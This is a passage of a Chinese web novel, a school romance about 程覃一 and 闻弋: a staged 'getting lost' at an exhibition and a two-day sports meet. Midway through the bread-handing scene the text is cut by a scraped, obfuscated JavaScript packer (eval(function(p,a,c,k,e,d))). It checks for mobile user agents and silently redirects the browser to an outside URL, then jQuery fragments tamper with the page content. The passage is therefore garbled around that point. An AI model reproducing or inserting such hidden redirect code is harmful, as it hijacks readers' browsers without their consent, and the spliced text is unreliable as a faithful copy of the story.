在程覃一预料之内,闻弋果然跟着林满来了。 “我们先去看科技展吧?”林满提议,其他三个人点了点头。 闻弋就跟在林满后面,林满玩什么,她也就玩什么,看起来不太感兴趣。 她在想什么?不会是在想她那个“L”吧。 闻弋没心思,程覃一也就没心思。 他们逛完科技展后,去艺术展厅。 闻弋说她要去上个厕所,其他三个人就在外面等她。 “呀!全息投影那开始排队了,我们得赶快点!”晏子钦看着手机上发来的信息。 “程覃一,要不你在这等闻弋吧,我和晏子钦去排队,你待会儿和闻弋过来。” 程覃一点了点头,然后林满就拉着晏子钦跑了。 程覃一站在厕所旁的一个窗子旁看窗外的风景,没等多久,他回头一看,就看见闻弋在走廊上东张西望 他站在转角处,看着她握着手机在原地转了两圈。 电话显然没打通。 那一刻,一个念头不受控制地冒了出来。 他知道主出口在哪里,刚刚路过时瞥见过清晰的指示牌。 他本该上前,像个普通友善的同学那样,告诉她“出口在那边”,然后和她一起去找林满和晏子钦。 但他没有。 当闻弋犹豫着走向错误的方向时,他快步绕了个圈子,出现在她身后那个看似也是刚找过来的位置。 “迷路了?”他让自己的声音听起来尽量平静。 她回头,带着尴尬,说:“嗯……林满他们……不知道去哪儿了。” “电话打不通?”他明知故问。 “没人接。”她小声说,带着点无奈。 “我也跟他们走散了,”这句假话被他说得看起来很真,但他知道自己身在何处,“一起找找看吧,或者找找出口。” 他刻意引导着方向,选择那些看似能通向外围,实则迂回曲折的路径。 他听着她偶尔不确定地提出“好像是往这边走过?”,然后给出模棱两可的回应“不太确定,这个厅刚才好像没见过”。 他并不擅长说谎,心跳有些失序,只能靠表面的沉默和镇定来掩饰。 他告诉自己,她也不喜欢拥挤的喧闹的人群,他不想那么快结束这仅有他们两人的独处。 他们绕过一个又一个展厅,最终“误入”一个特别宽敞的大厅。 台上正有一个穿着西装的男人宣传儿童教育产品。 台下坐满了孩子和家长,那群工作人员正准备投票放电影。 “想看《宝葫芦的秘密》的举手!” 程覃一注意到,当主持人提到这部电影时,闻弋的目光下意识地追随着屏幕上的片段介绍,眼神里流露出一种好奇,像是没看过这部电影。 举手的人很多。 “那就看《宝葫芦的秘密》!”主持人宣布。 周围的孩子欢呼起来。 程覃一看了看周围的环境,又看了一眼身旁因为迷路和眼前景象而显得有些懵懂的闻弋。 “要不我们就在这里看一会儿?”他提议,并努力让理由听起来充分,“说不定林满他们发现我们不见了,会找过来。或者等电影结束,跟着人流出去应该能找到主出口。” 他看到她立刻点了点头,像是终于找到了一个可以停下脚步的合理借口,轻声答应:“好。” 他们在人群边缘找到两个空位坐下。灯光暗下,电影开始播放。欢快的片头曲响起,孩子们的笑声充斥在周围。 程覃一的注意力几乎没在屏幕上停留超过三分钟。 他的目光,不由自主地,悄悄地,落在了身旁的女孩身上。 电影的光影在她脸上柔和地过渡,明暗交错。 她看得十分专注,眼睛因为有趣的剧情而微微弯起,嘴角扬着一抹不自知的浅笑。当主角遇到困境时,她会轻轻皱眉;当宝葫芦捣蛋时,她又会忍俊不禁。 他看着她沉浸在那个简单的童话世界里,看着她因为剧情而变化的表情,他像在欣赏一部独属于他的电影。 他注意到她纤长的睫毛,注意到她偶尔会因为坐姿不舒服而轻轻调整一下肩膀…… 周围的世界,孩子的喧闹、电影的配乐,都仿佛被隔绝开来。他的世界里,只剩下屏幕折射过来的光线,和她安静的侧影。 他知道自己的行为有些莫名其妙,甚至称得上狡猾。用一个迷路的借口,骗来了一场独处,和一场他根本无心观看的电影。 但当他就这样偷偷看着她,他甚至希望这场电影能再长一点。 电影终于在皆大欢喜中落幕,灯光亮起。 她像是才从梦境中回过神,有些不自然地眨了眨眼,转头看向他,还带着点不好意思。 他迅速移开目光,看向屏幕,装作也是刚刚看完的样子。 “走吧,”他站起身,声音依旧平静,“跟着人流应该就能出去了。” 果然,他们很顺利地来到了酒店主大门,并看到了跑来的林满和晏子钦。 林满咋咋呼呼地道歉,解释着走散的原因。 闻弋看了他一眼,然后对林满说:“没去哪儿,就是……看了场儿童电影。” 程覃一站在她身边,没有补充,也没有解释,仿佛这事与她无关。 只是在无人注意的瞬间,他的目光快速掠过她的侧脸。 程覃一啊程覃一,你怎么是这样的人呢? 21. 运动会 临近十月,运动会报名的消息像颗炸弹,平时很安静的教室有了些许热闹。 体育委员站在讲台上,扯着嗓子重复项目,手里拿着报名表。 “要参加项目的来找我报名,每个项目都必须有人参加。” “闻弋,你想报什么?”林满转过头来问她。 闻弋想报的有很多,像仰卧起坐、跳绳、400米…… 她小时候被母亲逼着运动,很多项目都成了她的强项,每次一到运动会,她都会抱着几张奖状回家。 “我打算报仰卧起坐和400米个人,还有400米接力。” “这么多,我记得去年你没报这么多。” “去年我就没参加!” “哦哦,我忘了。” 说起来,闻弋就来气,去年运动会那几天,她母亲让她去见一个京大毕业的人,说什么从他那获取一点经验,特意让她请假回家。 她根本不知道运动会上发生了什么,她只记得回来很多女生讨论,她们说程覃一跳高拿了第一。 来找体育委员的人太多了,体育委员索性把名单递给第一排的同学,让他们传着看,想报什么自己填。 “程覃一今年还要参加一百米!” “他报了这么多!” 前面的人的声音传过来。 闻弋接过报名表,第一眼就看到程覃一的字。 比第一次见到好看多了,也更飘逸了。 她寻找着他的字迹。 “男子跳高程覃一 男子一百米程覃一 男子一百米接力程覃一”。 闻弋浏览过后,在报名表的仰卧起坐、女子四百米、女子四百米接力后写下自己的名字。 运动会很快就来了,要举办两天,闻弋看了一眼运动员手册,程覃一的项目都在第一天,而她的项目都在第二天。 她还发现,自己报的仰卧起坐和女子个人400米开赛时间间隔不到半小时,这意味着她一做完仰卧起坐,就得去跑400米。 万一她没恢复好,那岂不是400米跑不了? 由于第一天没有项目,她被安排了一个任务,给运动员们写加油稿。 运动员比赛时,球场旁的主席台会有播音员在那里播报加油稿给运动员加油鼓气。 因为闻弋字好文好,自然就被安排上这个任务。 “292班的程覃一,希望你怀揣“一点浩然气”的坦荡与自信在冲线的那一刻,尽享“千里快哉风”的豪迈与酣畅!” “292班的程覃一,力量与柔韧完美结合,腾空的身影划出青春最优美的弧线!跃起吧!用你的背脊,丈量新的高度!落下吧!在柔软的垫子上,收获属于你的喝彩!” …… 她把加油稿交到主席台后,被林满拉去看跳高比赛。 上午的阳光有些晃眼,塑胶跑道被晒出微微灼人的热气。 闻弋本来想交完加油稿后找个阴凉地方看完手里的书,却被林满生拉硬拽,一路小跑着往田径场东北角去。 “快点啦!再晚就占不到好位置了!”林满语气兴奋。 “到底看谁啊这么急?”闻弋被她拖得有点喘,心里还惦记着那本刚看到精彩部分的小说。 “程覃一啊!他报了跳高,马上就开始了!知道你对他不感兴趣,但是听说他弹跳力超好,你肯定没见过,去看看。” 说起来,她差点忘了程覃一的跳高比赛在今早。她其实有点不知道该怎么面对他,尤其是在这种万众瞩目的场合。 跳高场地周围果然已经稀稀拉拉围了一圈人,以女生居多。林满拉着她挤到了一个稍微靠前的位置,刚好能看清起跑点和横杆。 他还没上场。 闻弋的目光有些无处安放,只能假装看着场地中央那个不断被挑战的高度。 “来了来了!”旁边有人小声说了一句。 闻弋的心倏地提了起来,视线不由自主地投向起跑点。 程覃一脱掉了校服外套,只穿着一件简单的白色运动短袖。他正在做简单的热身。 他额前的碎发被风吹动,又落下。 他和几个同样参加比赛的男生说了句什么,嘴角牵起一个很淡的笑弧。 裁判老师示意比赛开始。第一个高度并不算难,前面几个选手都轻松跃过。轮到程覃一时,他深吸一口气,目光扫了一眼横杆,然后开始助跑。 他的步伐很有节奏,由慢到快,最后几步加速,踩板、起跳。他轻松地越过了横杆,落在厚厚的垫子上,弹了几下。 周围响起一阵小小的欢呼和掌声,夹杂着女生们压低了的兴奋议论。 横杆一次次升高,失败的人逐渐增多。 程覃一每一次起跳前,那种短暂的瞬间,都让闻弋不自觉地跟着攥紧手指。 最后一个高度,他站在起跑点,眯着眼看了看那根在他头顶上方显得有些遥不可及的横杆,胸口微微起伏。 周围所有的嘈杂声都褪去了。 广播里响起闻弋给程覃一写的加油稿。 “292班的程覃一同学……” 他开始了助跑,比之前任何一次都要快。 他越过去了! 身体落在垫子上,横杆纹丝不动。 欢呼声瞬间炸开。 闻弋不由自主地笑了。 程覃一从垫子上坐起来,他看着她,脸上露出了一个带着少年意气的好看笑容。 程覃一干嘛对她笑呢 闻弋想起自己的嘴角还没落下,她慌慌张张别过脸去。 林满还在旁边激动地说着什么拿了多少分,闻弋却好像听不清了。 她转回头去,看着那个已经被几个人围住、笑着说话的男生,心里涌起一股复杂的情绪。 是她看岔眼了吗? 也许那笑不是对着她的。 下午的阳光毫不吝啬地洒落,将主席台旁的水泥台阶烤得发烫。 为了方便给运动员及时补充能量,学校给每个班安排了一块场地,可以放置桌子和运动员所需要的葡萄糖和水。292班被安排在主席台旁的台阶上。 闻弋要忙着写加油稿,还要照顾比完赛的运动员,她中午吃完饭睡了个午觉后,就安静地坐在他们班的那块场地的台阶上写加油稿。 班上的人有的去看比赛,有的和朋友到处转。那块场地上只有闻弋一个人。 她缩在主席台投下的一小片阴影边缘,却依旧觉得热浪灼人,只好撑开一把淡绿色的遮阳伞,在自己与烈日之间划出一方小小的阴凉。 膝上摊着稿纸,还有一本她的读书笔记,闻弋从初中起一直有个习惯,在书上看到的好句都会抄在笔记本上,她拿着的这本已经是第五本了。 她握着笔,绞尽脑汁地编织着给运动员的加油词。 周围全是喧嚣,广播里激昂的播报、人群的欢呼、远处发令枪的闷响,但这些声音似乎都被这顶小小的伞隔开了一层,变得遥远。 闻弋的世界里,只剩下笔尖划过纸张的声音。她正蹙眉斟酌着一个词语,头顶的光线忽然暗了下来。 她以为是云朵遮住太阳,可那骤暗迟迟没有离去。 与此同时,她闻到了一股淡淡的橘子香味,闻起来很干净。那味道越来越重,闻弋下意识地抬头。 伞遮挡住了她的视线,她只看见了一个穿着白T恤的人。 “你在写加油稿吗?”声音从头顶下来。 闻弋想看看是谁,她想把伞关上,结果放在腿上的书本和草稿纸散落在地上。 那个人眼疾手快,蹲下帮她捡起来,然后坐在她旁边,把那些东西递给闻弋。 闻弋才看清楚他的脸。 是程覃一。 他显然刚从赛场上下来,呼吸还有些不平稳,胸膛微微起伏着,几缕头发不羁地贴在额角。 他居然主动和她搭话。多么意想不到的行为。 “我帮你举着伞吧,这样你比较好写。”他冲她笑了笑。 她没见过这么温柔的程覃一,像是变了个人,以前在书法班,也没见他这样啊。 “不……不,不用了。”闻弋觉得有些不好意思,她挥了挥手,紧紧握住手中的伞。 “没事,我帮你拿着。” 他把手伸向那柄闻弋举得有些酸软的伞,瞬时被一股力量托住了,稳稳地停驻在闻弋手的上方。 “看你举得辛苦。”他开口,声音似乎是因为刚才的奔跑而带着一点微哑,“我帮你举着。” 闻弋松开了手,他就那样自然而然地接过了伞柄,坐在闻弋的身侧,伞面向闻弋那边倾斜,撑起了一片更稳固、更宽大的阴影。 他离她很近,近到闻弋能清晰感受到他身上散发出的热度,近到她似乎能听见他尚未平复的心跳声,“咚咚咚”,敲击着燥热的空气。 程覃一怎么离她这么近啊! 她好不自在。 闻弋的脸颊不受控制地开始发烫,她想,估计比刚才被太阳直射时还要红。 她握着笔的手指指尖有些发麻,她看着读书笔记上摘抄的语录,却怎么也找不到适合的一句。 读书笔记上的字迹仿佛都变成了游动的蝌蚪,再也看不进去一个。 似乎所有的感官都在这几分钟里被无限放大,他呼吸的韵律,他身上那股好闻的无花果香,还有他举着的、将闻弋完全笼罩的阴影…… 闻弋不敢再抬头看他,垂下眼睫,假装专注地挑选着那些被她抄下来的好句子。 “……谢谢。你比赛比完了?” “嗯。还有一场,不过还早。”他轻轻地应了一声,“刚跑完,过来就看见你举着伞写稿。” 闻弋感觉到他的目光好像落在她的发顶,又好像落在她因为紧张而摩挲着稿纸的手指上。 世界仿佛一下子安静了下来。 只剩下两人之间无声流转的空气。 时间同他们一起躲在这伞下,每一秒都浸染着难以言喻的紧张。 闻弋受不了这样的紧张,她随便挑了一句抄在草稿纸上。 “你这个是写给谁的?”他低下头,仔细看着草稿纸上那句话。 “哦,是给翟昕的。” 翟昕明天有一场三千米的长跑,她打算多写几句鼓励词给翟昕。 “翟昕是谁?”没想到程覃一并不认识那个女生。 “就是班上个子高高的,头发很短的那个女孩。” “哦。”他淡淡回了一个字。 也不知道他是真知道了还是随便的答应。 大概过了十几分钟,闻弋写了五条加油词,广播里出现了程覃一的名字。 “292班程覃一,请到东南方向8号篮球场检录。” “292班程覃一,请到东南方向8号篮球场检录。” …… “抱歉,没想到比赛这么快开始。” 闻弋接过那把伞,挥挥手说:“快去检录吧,我要去交加油稿了。” 他匆忙应了声好,然后就朝着8号球场跑去。 伞柄留有他的余热,闻弋紧紧握着,却感受到了一丝清凉。 她原本紧张的心慢慢放松下来。 她看着这把伞,他们一起躲太阳的伞。 就在刚才,这把伞下,藏着她的小世界——闻弋和她的书,还有程覃一。 下午的三点左右,班上的大部分人都回到了休息地点,准备看球场上的足球联谊比赛。班主任也来看了,不过他叫了几个男生去帮他录成绩,在运动会开始之前,他们考了一场试,老师就趁着运动会时改卷,没想到这么快就改好了。 班上一去就是一大半人,场地马上变得空落落的,连林满也去了。闻弋还要忙着写明天的加油稿,就没去。当她抬起头看着远去的那些人,发现有程覃一也在。 唉,早知道就早点把加油稿写完了,闻弋想着。 足球联谊比赛快结束时,班长急匆匆地赶过来,说成绩还要录好久,可能连饭都吃不上,可是时间一过,小卖部和食堂都关门了。 “我待会儿去小卖部,要不我给你们带面包吧。”闻弋提议说。 “那行,总共有二十八个人的,到时候记班上账上。” 小卖部里人不多,闻弋看着货架上琳琅满目的零食,犹豫了一下。去的人男生居多,而且有一部分才比赛完运动量大,肯定饿坏了,光吃零食不顶饱。 最后,她选了一个自己平时吃份量比较重的吐司,又顺手提了一箱牛奶。 回到教室时,班上还没有几个人,她把面包和牛奶放在讲台旁的桌子抽屉里,然后回到自己的位置做英语练习。 “闻弋,你买的面包呢?”有人拍了拍她的肩膀,低声问她,她抬起头来,是班长。 闻弋才注意到天已经黑了,教室里坐满了人,大家都在安静地做练习。 “在讲台旁边的桌子抽屉里,有牛奶和面包。”她把自己的声音压低。 “你能帮我一起发吗?你发面包,我发牛奶。”班长说。 “好。”闻弋站起来。 周围的同学都在认真地做作业,完全没有注意到她们。 “今天去帮老师录成绩的举一下手。” 班上的同学陆陆续续地举起手来。 闻弋开始发面包。她发现,程覃一没有举手。 程覃一不是去了吗?怎么不举手呢?闻弋边发边想,到时候要是还剩一个怎么办?班长知道是谁没领吗?要不她直接送过去?可这样会不会太突兀了?程覃一会怎么想?他会不会觉得她多管闲事?他没有举手,而自己却发一个给他,会不会被别人多想呢? 闻弋离程覃一越来越近,她的心越来越纠结。 她已经走到了程覃一旁边,拿出一个面包放在了他和晏子钦的桌子中央,程覃一抬起头来看着她,依旧冷漠的一张脸,看到她后似乎还有些不解。 “我的面包。”晏子钦手舞足蹈地拿过面包。 闻弋看到程覃一那淡漠的眼神,瞬间就不打算直接把面包给他了。 明明今天他帮她举伞时那么温柔,怎么现在又变了个人似的。 闻弋发完后,果然还剩一个面包。班长问她是谁的,她撒谎说不知道,然后回到了自己的位置。 班长站在讲台上,询问是谁还没拿到面包。 “班长,我没拿到。”是程覃一的声音。 闻弋不敢抬头,她看着书本上的单词,怎么也看不进去,脑子里全是程覃一和班长的对话。 “你刚才怎么不举手?” “抱歉,没注意到。”程覃一的笑声传到闻弋的耳朵里,那么刺耳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650986|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才班长让他们举手,他没举,现在又说自己没领到,这人什么意思啊?难道是不想拿她发的面包?难道真的讨厌她? 那中午的时候,又干嘛帮她举伞呢?这人有双重人格吗? 第二天一早,闻弋就跑了个人四百米。她几乎用尽了自己积攒的力气,最后拿下来了第一名。 比完赛,闻弋被林满扶着回到班级休息区。 “不行了……仰卧起坐……”闻弋喘着气,声音碎不成句,“马上……就要检录了……” 林满把闻弋按在阴凉处的椅子上,看着她的样子:“你这状态,腹部哪还有劲儿?起来都费劲。” 名单上闻弋的名字明明白白,她占了一个名额,她不能不去。可身体沉重的抗议又是如此真实,酸软的肌肉每一寸都在尖叫着要罢工。 眼眶控制不住地发热、酸胀,闻弋赶紧低下头,把脸深深埋进掌心,不想让任何人看到她这副脆弱的模样。 “我去。”林满的声音斩钉截铁。闻弋抬头,想开口反对,“我去跟体育委员说。” 她说完,用力捏了捏闻弋的肩膀,转身就快步跑向了检录处的方向,背影干脆利落。 看着她跑远,那股强撑着的劲瞬间泄得干干净净。泪水大颗大颗地滚落。闻弋慌忙用沾着汗水的手背去擦,却越擦越多,越擦越模糊,肩膀抑制不住地轻轻发抖。 真丢人啊,闻弋心里想,占了班上仰卧起坐的名额,让别人代做,还这么没用地在公共场合哭鼻子。 模糊的泪眼余光里,感觉斜后方那个熟悉的位置有人站了起来。她知道是程覃一,刚才她和林满回来时,就注意到班上只有他一个人在休息区。他的项目比赛完后,他就坐在那儿,安安静静的,像一棵不为所动的树。 难堪的情绪瞬间达到了顶点。他是不是都看到了?看到她多么狼狈,多么脆弱?她恨不得找个地缝钻进去,把头垂得更低,几乎要埋进膝盖里,只希望自己能隐形。 她听见了脚步声在靠近,眼角的余光隐约瞥见一双运动鞋停在了她的不远处。闻弋像是揣了只兔子,更加不敢抬头,连哭泣都变成了极力压抑的抽噎。 脚步声越来越近,运动鞋停在了闻弋面前。 “喝水吗?我加了葡萄糖。” 一个装了三分之二水的纸杯被一双骨节分明的手递到闻弋面前。 “谢谢。”闻弋接过水,小心翼翼地抿了一口,她不敢抬起头来,怕程覃一看到她没来得及擦泪水的脸。 他一直站在她的面前,没有离开。闻弋只觉得尴尬,小口小口地喝着水。 就在这时,一个身影风风火火地插了进来。 “闻弋!”是卫生委员章卓。他直接挡在了闻弋和那双运动鞋之间,语气急切又充满了关怀,“……吃点巧克力补充能量。” 他动作利落地从口袋里掏出一块独立包装的巧克力,将那块方方正正的巧克力塞进闻弋的手里。闻弋愣愣地接住,低声道了一声“谢谢” 章卓还在闻弋旁边不停地鼓励着:“别担心,林满已经去帮你比了,她肯定没问题的。你好好休息,恢复体力最重要。” “林满在球场上遇到我,特意让我去买块巧克力给你,说补一补能量……”他继续在闻弋旁边絮絮叨叨。 闻弋低头听着他的话,始终没有勇气完全抬起头,去看清程覃一此刻的表情,也不知道他是否还停留在原地,或者早已离开。 她只是紧紧地捧着手中那杯逐渐变凉的水,像捧着一股无声的、带着温度的秘密,将它贴在心口,感受着那一点点暖意,慢慢平复自己翻涌的情绪。 运动会的压轴项目,4x400米接力赛,也是闻弋的最后一场比赛,在下午进行。空气里弥漫着青春灼热的气息。看台上的呐喊声浪几乎要掀翻天空。 闻弋,站在第四棒的起跑区,她焦急地等待着。 她四处张望,希望能在围着的人群里看见程覃一的身影。 她多么希望他能看到她奔跑的身影,能改变早上她哭哭啼啼的形象。但是她看着那些人里,根本没有程覃一。 她心情失落,可现在在比赛,她极力遏制住自己的情绪,希望不要影响到比赛。 前三棒,292班和隔壁291班咬得极紧,胜负就在毫厘之间。 当第三棒的队友向闻弋冲刺而来,将那个小小的接力棒被塞进闻弋手里时,巨大的压力瞬间淹没了闻弋。 “闻弋!闻弋!加油!”闻弋听见看台上同学的呐喊声。 大脑一片空白,只剩下奔跑的本能。闻弋咬紧牙关,握紧接力棒,像一支离弦的箭冲了出去。 风在耳边呼啸,盖过了一切声音,胸腔火辣辣地疼,双腿快速地交替着。 拐过最后一个弯道,终点线就在前方。 其他班的参赛手已经被她拉得远远的。 闻弋用尽全身力气开始最后的冲刺。 就在这时,侧前方一个不知道哪个班的身影,大概是为了看清比赛情况,毫无预兆地从人群里向后倒退了几步,恰好挡在了闻弋的所在的跑道上。 闻弋想要刹住脚步或者改变道路,但是已经来不及了,惯性让闻弋直直地朝着那人撞去,眼看就要撞到。 千钧一发之际,一只手将那个拦路的人拉开,让闻弋几乎是擦着那个倒退同学的后背,险之又险地绕了过去。 那一瞬间太快了,快到闻弋只来得及瞥见那只手的主人手腕上戴着一块熟悉的黑色运动手表。 闻弋用余光斜瞟那个拉人的男生。 是程覃一!他怎么会在这里?! 没有时间思考,求胜的本能驱使着闻弋,用尽最后一丝残存的力气,拼命冲过了那条象征结束的红线。 过了线,所有的力气瞬间被抽空。闻弋再也支撑不住,腿一软,也顾不得脏不脏,直接仰面躺倒在了终点线旁的草坪上。 天空蓝得刺眼,闻弋的胸膛起伏着,像一台破旧的风箱,贪婪地呼吸着空气,整个世界都在嗡嗡作响。 解脱了……一切都结束了。 “闻弋!闻弋!你没事吧?”林满焦急的声音由远及近,她拨开人群冲到闻弋身边,蹲下来,脸上满是担忧,“吓死我了!刚才差点撞上!你怎么样?” 她伸手用力把闻弋从草地上拉起来。她借着力道站起身,感觉身体像散了架一样,但目光却不由自主地在人群中搜寻。 不远处,程覃一正和几个男生站在一起,侧着脸说着什么,神情依旧是平日里那副疏离淡漠的样子,仿佛刚才那个在危急关头伸出手,精准地拉了闻弋一把的人不是他。 “我没事,”闻弋对林满摇摇头,声音还有些沙哑。 “还好有人拉住了他,不然你就撞上去了,”林满拍着自己的胸脯,“对了,你看清那个人是谁了吗?” 要说实话吗?闻弋犹豫了一下,最后尴尬地笑了笑。 “没有,我忙着冲刺呢,哪能看清楚是谁?” 晚上,闻弋洗去一身的疲惫和汗水,躺在柔软的床上,却毫无睡意,满脑子都是今天下午那个场景。 他当时是什么表情?他怎么会恰好站在那里?是巧合吗? 她以为他不会看她比赛呢?原来他站在跑道边上。 闻弋翻了个身,把发烫的脸埋进枕头里。 悸动,美好又遥远。